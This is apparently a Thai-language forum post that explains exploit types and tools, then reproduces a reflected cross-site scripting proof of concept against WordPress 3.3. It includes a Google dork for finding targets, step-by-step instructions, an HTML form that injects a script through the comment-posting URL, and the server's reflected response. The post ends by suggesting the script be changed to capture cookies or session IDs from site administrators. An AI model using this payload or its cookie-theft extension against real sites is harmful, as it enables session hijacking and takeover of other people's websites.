Exploit คืออะไร ถ้าให้พูดตรงๆความหมาย มันก็คือ ช่องโหว่นั้นเอง
Exploit เป็นคำที่มากจากภาษาฝรั่งเศสเกิดจากการที่เอาคำ 2 คำมาผสมกันมีความหมายว่า “achievement” หรือว่า “accomplishment” เป็นโปรแกรมที่ได้รับการออกแบบมาเพื่อให้ทำการเจาะระบบโดยอาศัย ช่องโหว่ของ software, Hardware หรือช่องโหว่ต่างๆเพื่อที่จะเข้ามาทำการครอบครองหรือควบคุม computer เพื่อที่จะให้กระทำการบางอย่าง เช่น การขโมยข้อมูลหรือใช้ในการ denial of service attack
Exploit นั้นมี 2 ประเภทนะครับ
- remote exploit เป็นการทำงานโดยที่จะทำการเจาะระบบที่ได้รับการป้องกันที่ไม่ดีโดยอาศัยสิทธิที่มี มาก่อน
- local exploit เป็นการโจมตีที่ถ้าเข้ามาในระบบได้แล้วจะทำการเพิ่มสิทธิต่างๆเข้ามาใน User ที่เราได้สร้างเอาไว้โดยอาศัยความช่วยเหลือของ system administrator
โดยปกติพวกเราจะใช้เครื่องมือในการใช้งานเช่น metasploit หรือใช้ armitage หรือ etc ในการใช้งานเพื่อให้ดูง่ายๆ เป็น GUI ส่วนพวก exploit นั้นก็สามารถหาได้อย่างง่ายดายในโลก internet เช่น 1337day,exploit-db,...etc
วันนี้ผมจะมาแนะนำ exploit ของ cms ชื่อดังอย่าง wordpress v3.3 ที่เพิ่งออกมาใหม่แท้ๆ โดนเสียและ
exploit ตัวนี้คือ Zero Day Reflected XSS vulnerability ช่องโหว่นี้อยู่ในส่วน comment ของ WP3.3 ป.ล XSS = cross site script
# Exploit Title: Reflected Cross Site Scripting in wordpress 3.3
# Google Dork: "Proudly powered by WordPress"
# Date: 2.Jan.2012
# Author: Aditya Modha, Samir Shah
# Software Link: WordPress › Download
# Version: 3.3
# Tested on: apache
# CVE : Nope.
Step 1: Post a comment to the target website
>>โพสต์คอมเม้นลงไปในเว็บเป้าหมาย
Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is http://127.0.0.1/wordpress/?p=6 then the value of comment_post_ID is 6.
>> แก้ไขคค่าในส่วนของ value ของ author,email,comment,post id
HTML Code:
<html> <title>Wordpress 3.3 XSS PoC</title> <body> <form name="XSS" id="XSS" action="http://127.0.0.1/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST"> <input type="hidden" name="author" value="แก้ไข"> <input type="hidden" name="email" value="แก้ไข"> <input type="hidden" name="url" value=""> <input type="hidden" name="comment" value="แก้ไข"> <input type="hidden" name="submit" value="Post Comment"> <input type="hidden" name="comment_post_ID" value="แก้ไข"> <input type="hidden" name="comment_parent" value="0"> <input type="button" value="Click Me" /> </form> </body> </html>
>> เผยแพร่ไฟล์ HTML ดังกล่าวข้างต้นลงบนเว็บเซิร์ฟเวอร์และเข้าถึงได้ คลิกที่"Click Me" นี้จะพยายามที่จะแสดงความคิดเห็นเพื่อการใช้งานซึ่งจะเห็นธงนี้เป็นความคิดเห็นที่ซ้ำกัน กับการตอบสนองต่อข้อผิดพลาด 500 Internal server error response ที่นี่ payload XSS ของเราจะได้รับการดำเนิน ตรวจสอบแฟ้ม wordpress_3.3_xss.png
Step 4: The response code where XSS payload reflects is given below
>> ลักษณะของการโต้ตอบกลับ เมือ XSS payload ส่งผลดังข้อมูลด้านล่าง
HTML Code:
<!DOCTYPE html> <!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono --> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WordPress › Error</title> <style type="text/css"> html { background: #f9f9f9; } body { background: #fff; color: #333; font-family: sans-serif; margin: 2em auto; padding: 1em 2em; -webkit-border-radius: 3px; border-radius: 3px; border: 1px solid #dfdfdf; max-width: 700px; } #error-page { margin-top: 50px; } #error-page p { font-size: 14px; line-height: 1.5; margin: 25px 0 20px; } #error-page code { font-family: Consolas, Monaco, monospace; } ul li { margin-bottom: 10px; font-size: 14px ; } a { color: #21759B; text-decoration: none; } a:hover { color: #D54E21; } .button { font-family: sans-serif; text-decoration: none; font-size: 14px !important; line-height: 16px; padding: 6px 12px; cursor: pointer; border: 1px solid #bbb; color: #464646; -webkit-border-radius: 15px; border-radius: 15px; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box; } .button:hover { color: #000; border-color: #666; } .button { background: #f2f2f2 url(http://127.0.0.1/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad.png) repeat-x scroll left top; } .button:active { background: #eee url(http://127.0.0.1/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad-active.png) repeat-x scroll left top; } </style> </head> <body id="error-page"> <p>Duplicate comment detected; it looks as though you’ve already said that!</p></body> </html>
ผลที่ได้ Attachment 1542
แล้วถ้าการปะยุกต์ ถ้าเกิดปรับเปลี่ยน javascript ให้รับค่า cookies , session id ,etc ล่ะ ผลที่ได้ อาจไม่สวยนัก ถ้าคนที่ตกเป็นเหยื่อ victim คือ เจ้าของเว็บ หรือ ผู้ที่มีสิทธิ เช่น administrator อาจก่อให้เกิดความเสียหายได้
ข้อมูลจาก : http://citecclub.org